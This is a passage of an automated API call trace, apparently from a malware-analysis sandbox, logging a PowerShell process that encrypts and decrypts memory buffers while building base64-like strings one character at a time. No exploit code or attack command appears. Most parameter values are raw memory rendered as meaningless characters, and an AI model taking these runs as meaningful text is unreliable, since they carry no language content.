(param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ합蠜奝ඍ\柙⁛⋓) returned 0x28 [0199.873] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ합蠜奝ඍ\柙⁛⋓) returned 0x28 [0199.873] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.873] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzD믰鰩좆캄濆") returned 0x28 [0199.874] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.874] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽꅳ鴁䫁錷㲢㵋") returned 0x28 [0199.874] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽꅳ鴁䫁錷㲢㵋") returned 0x28 [0199.874] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.874] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDf鰩좆캄濆") returned 0x28 [0199.874] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.874] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ췝뿿飏壬곥䡡") returned 0x28 [0199.874] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ췝뿿飏壬곥䡡") returned 0x28 [0199.874] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.874] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfV좆캄濆") returned 0x28 [0199.874] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.875] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ⧞䯦䯼蛿絶ᵱ") returned 0x28 [0199.875] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ⧞䯦䯼蛿絶ᵱ") returned 0x28 [0199.875] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.875] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVr캄濆") returned 0x28 [0199.875] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.875] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ醃℩螋뭣ꙗꡱ旨") returned 0x28 [0199.875] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ醃℩螋뭣ꙗꡱ旨") returned 0x28 [0199.875] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.875] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVre濆") returned 0x28 [0199.875] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.875] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ\匋ꑃꊂ⏛㛟㏅⋾) returned 0x28 [0199.876] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ\匋ꑃꊂ⏛㛟㏅⋾) returned 0x28 [0199.876] SystemFunction041 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.876] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVrer") returned 0x28 [0199.876] SystemFunction040 (in: Memory=0x5c919a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c919a4) returned 0x0 [0199.876] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬") returned 0x28 [0199.876] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬") returned 0x28 [0199.876] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬") returned 0x28 [0199.876] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬") returned 0x30 [0199.876] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.877] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVrerf賫囯꘾㤝⫩횭ᣗ") returned 0x30 [0199.877] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.877] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬ⴓ䒫令엪⡗駦쑈") returned 0x30 [0199.877] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬ⴓ䒫令엪⡗駦쑈") returned 0x30 [0199.877] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.877] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVrerfk囯꘾㤝⫩횭ᣗ") returned 0x30 [0199.877] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.877] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬৆좸㑴쿺廐ះ霉퀟") returned 0x30 [0199.877] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬৆좸㑴쿺廐ះ霉퀟") returned 0x30 [0199.877] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.878] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVrerfkw꘾㤝⫩횭ᣗ") returned 0x30 [0199.878] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.878] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬栶ꅶ픙㓺跪峥塏") returned 0x30 [0199.878] SysStringLen (param_1="樧㗍뀳툽癧畆꼦懟쓏覯惓霻뤟\\⃞㒽霢믏듆쀊㆗㪺쓩用ꛟⷻ콡ľំ绹뷷ꋽ둾ↆᳰ닲鲖ꗞ헬栶ꅶ픙㓺跪峥塏") returned 0x30 [0199.878] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.878] SysStringLen (param_1="0CeX7/RvlWdTsB7c46iJqfoftWIkDXfrTzDfVrerfkw=㤝⫩횭ᣗ") returned 0x30 [0199.878] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0199.879] EtwEventActivityIdControl () returned 0x0 [0199.880] EtwEventActivityIdControl () returned 0x0 [0199.880] EtwEventActivityIdControl () returned 0x0 [0199.882] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0199.883] EtwEventActivityIdControl () returned 0x0 [0199.883] EtwEventActivityIdControl () returned 0x0 [0199.883] EtwEventActivityIdControl () returned 0x0 [0199.884] SysStringLen (param_1="") returned 0x8 [0199.885] SysStringLen (param_1="N") returned 0x8 [0199.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.885] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0199.885] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0199.885] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.885] SysStringLen (param_1="ND") returned 0x8 [0199.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.885] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0199.885] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0199.885] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.885] SysStringLen (param_1="NDZ") returned 0x8 [0199.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.886] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0199.886] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0199.886] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.886] SysStringLen (param_1="NDZl") returned 0x8 [0199.886] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.886] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0199.886] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0199.886] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.886] SysStringLen (param_1="NDZlO") returned 0x8 [0199.886] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.886] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0199.886] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0199.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.887] SysStringLen (param_1="NDZlOD") returned 0x8 [0199.887] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.887] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0199.887] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0199.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.887] SysStringLen (param_1="NDZlODR") returned 0x8 [0199.887] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.887] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0199.887] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0199.887] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.888] SysStringLen (param_1="NDZlODRm") returned 0x8 [0199.888] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0199.888] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0199.888] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0199.888] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0199.888] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0199.888] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.888] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0199.888] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0199.889] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.889] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0199.889] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0199.889] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.889] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0199.889] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0199.889] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0199.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.890] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0199.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0199.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0199.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.890] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0199.890] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0199.890] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0199.890] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.891] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0199.891] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0199.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0199.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.891] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0199.891] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0199.891] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0199.891] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.891] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0199.891] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0199.892] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.892] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0199.892] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0199.892] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0199.892] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0199.893] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0199.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0199.893] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0199.893] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0199.893] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0199.893] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.893] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0199.893] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0199.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0199.894] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.895] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0199.895] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0199.896] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.896] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0199.896] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0199.896] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.896] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0199.896] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0199.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0199.896] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.897] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0199.897] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0199.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0199.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0199.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0199.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0199.897] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.898] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0199.898] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0199.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0199.898] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.898] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0199.898] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0199.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0199.898] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.898] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0199.899] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0199.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0199.899] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.899] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0199.899] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0199.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0199.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0199.899] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: 